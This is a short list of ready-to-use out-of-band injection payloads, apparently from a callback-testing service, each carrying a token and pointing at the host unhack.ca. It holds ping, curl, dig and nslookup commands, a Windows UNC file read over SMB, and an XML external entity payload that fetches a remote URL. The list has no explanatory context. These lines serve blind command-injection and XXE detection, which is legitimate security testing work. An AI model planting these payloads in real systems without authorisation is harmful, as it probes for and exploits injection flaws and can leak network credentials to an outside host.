$ ping -c1 -p 002f2c01139eecd04b29fb5ac742ca00 unhack.ca
 

$ curl http://unhack.ca/p/2f2c01139eecd04b29fb5ac742ca
 

$ dig 2f2c01139eecd04b29fb5ac742ca @unhack.ca
 

$ dig 2f2c01139eecd04b29fb5ac742ca.ns.unhack.ca
 

C:\> nslookup 2f2c01139eecd04b29fb5ac742ca unhack.ca
 

C:\> type \\unhack.ca\2f2c01139eecd04b29fb5ac742ca\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2f2c01139eecd04b29fb5ac742ca">]>
    <foo>&xxe;</foo>